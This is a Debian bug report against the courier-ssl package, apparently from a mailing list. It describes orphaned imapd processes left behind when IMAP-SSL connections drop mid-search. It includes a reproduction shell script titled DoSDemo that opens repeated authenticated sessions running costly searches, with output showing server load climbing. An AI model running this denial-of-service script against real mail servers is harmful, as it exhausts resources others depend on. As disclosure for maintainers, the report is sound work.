Package: courier-ssl
Version: 0.53.3-5
Severity: important

1) connect to server over imap-ssl
2) login
3) start search or other hard work task with delayed response
4) drop connection...
5) repeat from 1

After each breakage of connection starttls comes to the end and
cause SIGCHLD. couriertcpd, parent for starttls, clear info about
connection. Lost imapd continues to load system...

Demo, start from server with imapd-ssl, create user "user" with password
"pass" (or edit script), To place in INBOX (and edit script for
IMAPSPOOL=...) letters in volume 100Mb or it is more.

========================================================================
#!/bin/sh

IMAPHOST=localhost
IMAPUSER=user
IMAPPASS=pass
IMAPSPOOL=/var/mail/user/

ps o ppid,pid,cmd `fuser $IMAPSPOOL 2>/dev/null` >foo.last

for i in `seq 30`; do
    run="$[`cat foo.last | wc -l`-1]"
    tls="$[$run-`grep '^ *1 ' foo.last | wc -l`]"
    la="`cat /proc/loadavg |sed 's/ .*//'`"
    echo "start imap $i (running: $run withTLS: $tls LA: $la)"
    (
        echo 1 capability
        sleep 0.2
        echo 2 authenticate plain
        sleep 0.2
        echo -en "\0$IMAPUSER\0$IMAPPASS" | perl -MMIME::Base64 -wne 'print 
encode_base64($_)'
        sleep 0.5
        echo '3 select "INBOX"'
        sleep 2
        echo '4 uid SEARCH UNDELETED BODY "abacabadabacaba"'
        sleep 2
    ) | openssl s_client -connect $IMAPHOST:993 2>/dev/null |sed -n '/^\*/,$ p' 
>imap-log-$i &

    sleep 1
    ps o ppid,pid,cmd `fuser $IMAPSPOOL 2>/dev/null` >foo.cur
#    diff foo.last foo.cur
    mv foo.cur foo.last
done

echo wait for child
sleep 3

kpids="`fuser $IMAPSPOOL 2>/dev/null`"
ps o stat,euid,ruid,tty,tpgid,sess,pgrp,ppid,pid,pcpu,cmd $kpids | sed "[EMAIL 
PROTECTED]@\$IMAPSPOOL@"
# garbage collection
kill `ps o ppid,pid,comm $kpids |grep "^ *1 .*imap" | awk '{printf "%s ",$2;}'`

===========================================================================

In result:
# grep ^MAX /etc/courier/imapd /etc/courier/imapd-ssl
/etc/courier/imapd:MAXDAEMONS=220
/etc/courier/imapd:MAXPERIP=6

# ./DoSDemo
start imap 1 (running: 2 withTLS: 1 LA: 9.18)
start imap 2 (running: 3 withTLS: 2 LA: 9.18)
start imap 3 (running: 4 withTLS: 3 LA: 9.18)
start imap 4 (running: 5 withTLS: 4 LA: 9.48)
start imap 5 (running: 6 withTLS: 4 LA: 9.48)
start imap 6 (running: 7 withTLS: 3 LA: 9.48)
start imap 7 (running: 8 withTLS: 3 LA: 9.85)
start imap 8 (running: 9 withTLS: 3 LA: 9.85)
start imap 9 (running: 10 withTLS: 4 LA: 9.85)
start imap 10 (running: 11 withTLS: 4 LA: 10.02)
start imap 11 (running: 11 withTLS: 2 LA: 10.02)
start imap 12 (running: 13 withTLS: 3 LA: 10.74)
start imap 13 (running: 14 withTLS: 4 LA: 10.74)
start imap 14 (running: 15 withTLS: 2 LA: 12.12)
start imap 15 (running: 16 withTLS: 2 LA: 12.12)
start imap 16 (running: 17 withTLS: 3 LA: 12.12)
start imap 17 (running: 18 withTLS: 3 LA: 12.91)
start imap 18 (running: 18 withTLS: 1 LA: 14.52)
start imap 19 (running: 20 withTLS: 3 LA: 14.52)
start imap 20 (running: 21 withTLS: 4 LA: 14.52)
start imap 21 (running: 22 withTLS: 2 LA: 15.52)
start imap 22 (running: 23 withTLS: 3 LA: 16.76)
start imap 23 (running: 24 withTLS: 2 LA: 18.14)
start imap 24 (running: 25 withTLS: 3 LA: 18.14)
start imap 25 (running: 26 withTLS: 4 LA: 18.14)
start imap 26 (running: 27 withTLS: 2 LA: 20.25)
start imap 27 (running: 28 withTLS: 3 LA: 20.25)
start imap 28 (running: 29 withTLS: 4 LA: 20.25)
start imap 29 (running: 30 withTLS: 2 LA: 21.75)
start imap 30 (running: 30 withTLS: 2 LA: 22.73)
wait for child
STAT  EUID  RUID TT       TPGID  SESS  PGRP  PPID   PID %CPU CMD
S        8     8 ?           -1 17387 17709 17709 24133  0.0 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 23798  5.1 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24126  3.6 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24184  4.1 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24213  3.9 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24242  4.3 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24289  4.3 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24321  4.2 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24358  4.7 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24384  4.8 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24418  4.8 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24458  4.5 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24488  5.3 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24517  5.4 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24549  5.5 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24595  6.2 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24625  6.0 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24657  6.4 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24739  7.1 /usr/bin/imapd 
$IMAPSPOOL
R        8     8 ?           -1 17387 17738     1 24790  7.4 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24848  7.9 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24880  7.8 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 24962  9.1 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 25032  9.1 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 25143 11.4 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 25209 11.9 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 25290 15.1 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 25340 17.4 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 25397 19.6 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 25538 30.2 /usr/bin/imapd 
$IMAPSPOOL
D        8     8 ?           -1 17387 17738     1 25585 33.7 /usr/bin/imapd 
$IMAPSPOOL





-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]

Reply via email to